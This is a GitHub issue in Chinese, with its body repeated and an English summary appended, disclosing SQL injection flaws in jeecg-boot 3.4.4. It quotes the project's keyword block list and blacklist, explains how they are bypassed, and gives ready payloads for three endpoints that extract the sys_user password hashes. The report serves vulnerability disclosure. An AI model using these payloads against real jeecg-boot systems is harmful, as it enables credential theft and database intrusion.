Jeecg-boot v3.4.4 was discovered to contain a SQL injection vulnerability via the component /sys/dict/queryTableData.
##### 版本号：3.4.4

##### 前端版本：vue2版

##### 问题描述：sql注入检测代码存在绕过. 


##### 截图&代码：
SqlInjectionUtil类中sql的注释正则为
```java
private final static Pattern SQL_ANNOTATION = Pattern.compile("/\\*.*\\*/");
```
.无法匹配到%0A, 导致可以利用/\*%0A\*/绕过
关键字检测后存在空格,导致绕过
```java
private final static String XSS_STR = "and |extractvalue|updatexml|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |;|or |+|user()";
```
AbstractQueryBlackListHandler类中的黑名单:
```java
ruleMap.put("sys_user", "password,salt");
```
在isPass函数中ruleMap.get(name)为null即可绕过, 可以采用`sys_user`, (sys_user), sys_user%20等绕过

存在多个注入点:
1. /sys/duplicate/check接口:
```java
dataId=2000&fieldName=(select(if(((select/*%0A*/password/*%0A*/from/*%0A*/sys_user/*%0A*/where/*%0A*/username/*%0A*/='jeecg')='eee378a1258530cb'),sleep(4),1)))&fieldVal=1000&tableName=sys_log
```
<img width="776" alt="image" src="https://user-images.githubusercontent.com/50673654/206842653-b762d643-9c64-4943-ba99-3b68433da3b0.png">

2. /sys/api/getDictItems
该接口没有进行签名校验:
<img width="918" alt="image" src="https://user-images.githubusercontent.com/50673654/206842298-694b3b2b-8ea4-4e55-a7f9-c26bd452c1ad.png">

```java
?dictCode=sys_user%20,username,password
```
<img width="1227" alt="image" src="https://user-images.githubusercontent.com/50673654/206842680-083f2c1f-8c1a-47eb-a4f1-5eb7b677c4cb.png">

3. sys/dict/queryTableData
```java
?table=%60sys_user%60&pageSize=22&pageNo=1&text=username&code=password
```
<img width="1228" alt="image" src="https://user-images.githubusercontent.com/50673654/206842700-9446ac05-18f2-4791-8e26-c78a1f934a09.png">






#### 友情提示（为了提高issue处理效率）：
  - 未按格式要求发帖，会被直接删掉;
  - 描述过于简单或模糊，导致无法处理的，会被直接删掉；
  - 请自己初判问题描述是否清楚，是否方便我们调查处理；
  - 针对问题请说明是Online在线功能(需说明用的主题模板)，还是生成的代码功能；

  

jeecg-boot3.4.4 存在sql注入漏洞
This is a GitHub Issue
repo:jeecg-boot
owner:jeecgboot
Title : jeecg-boot3.4.4 存在sql注入漏洞
Issue date:

--- start body ---
##### 版本号：3.4.4

##### 前端版本：vue2版

##### 问题描述：sql注入检测代码存在绕过. 


##### 截图&代码：
SqlInjectionUtil类中sql的注释正则为
```java
private final static Pattern SQL_ANNOTATION = Pattern.compile("/\\*.*\\*/");
```
.无法匹配到%0A, 导致可以利用/\*%0A\*/绕过
关键字检测后存在空格,导致绕过
```java
private final static String XSS_STR = "and |extractvalue|updatexml|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |;|or |+|user()";
```
AbstractQueryBlackListHandler类中的黑名单:
```java
ruleMap.put("sys_user", "password,salt");
```
在isPass函数中ruleMap.get(name)为null即可绕过, 可以采用`sys_user`, (sys_user), sys_user%20等绕过

存在多个注入点:
1. /sys/duplicate/check接口:
```java
dataId=2000&fieldName=(select(if(((select/*%0A*/password/*%0A*/from/*%0A*/sys_user/*%0A*/where/*%0A*/username/*%0A*/='jeecg')='eee378a1258530cb'),sleep(4),1)))&fieldVal=1000&tableName=sys_log
```
<img width="776" alt="image" src="https://user-images.githubusercontent.com/50673654/206842653-b762d643-9c64-4943-ba99-3b68433da3b0.png">

2. /sys/api/getDictItems
该接口没有进行签名校验:
<img width="918" alt="image" src="https://user-images.githubusercontent.com/50673654/206842298-694b3b2b-8ea4-4e55-a7f9-c26bd452c1ad.png">

```java
?dictCode=sys_user%20,username,password
```
<img width="1227" alt="image" src="https://user-images.githubusercontent.com/50673654/206842680-083f2c1f-8c1a-47eb-a4f1-5eb7b677c4cb.png">

3. sys/dict/queryTableData
```java
?table=%60sys_user%60&pageSize=22&pageNo=1&text=username&code=password
```
<img width="1228" alt="image" src="https://user-images.githubusercontent.com/50673654/206842700-9446ac05-18f2-4791-8e26-c78a1f934a09.png">






#### 友情提示（为了提高issue处理效率）：
  - 未按格式要求发帖，会被直接删掉;
  - 描述过于简单或模糊，导致无法处理的，会被直接删掉；
  - 请自己初判问题描述是否清楚，是否方便我们调查处理；
  - 针对问题请说明是Online在线功能(需说明用的主题模板)，还是生成的代码功能；

  

--- end body ---

The issue describes multiple SQL injection vulnerabilities in the Jeecg-Boot version 3.4.4. The vulnerabilities arise from insufficient input validation and improper handling of SQL comments and keywords, allowing attackers to bypass security measures and execute arbitrary SQL commands. Specific injection points include the `/sys/duplicate/check` endpoint, which can be exploited using crafted SQL payloads, and the `/sys/api/getDictItems` endpoint, which lacks signature verification. Additionally, the `sys/dict/queryTableData` endpoint is also vulnerable to SQL injection due to improper handling of input parameters.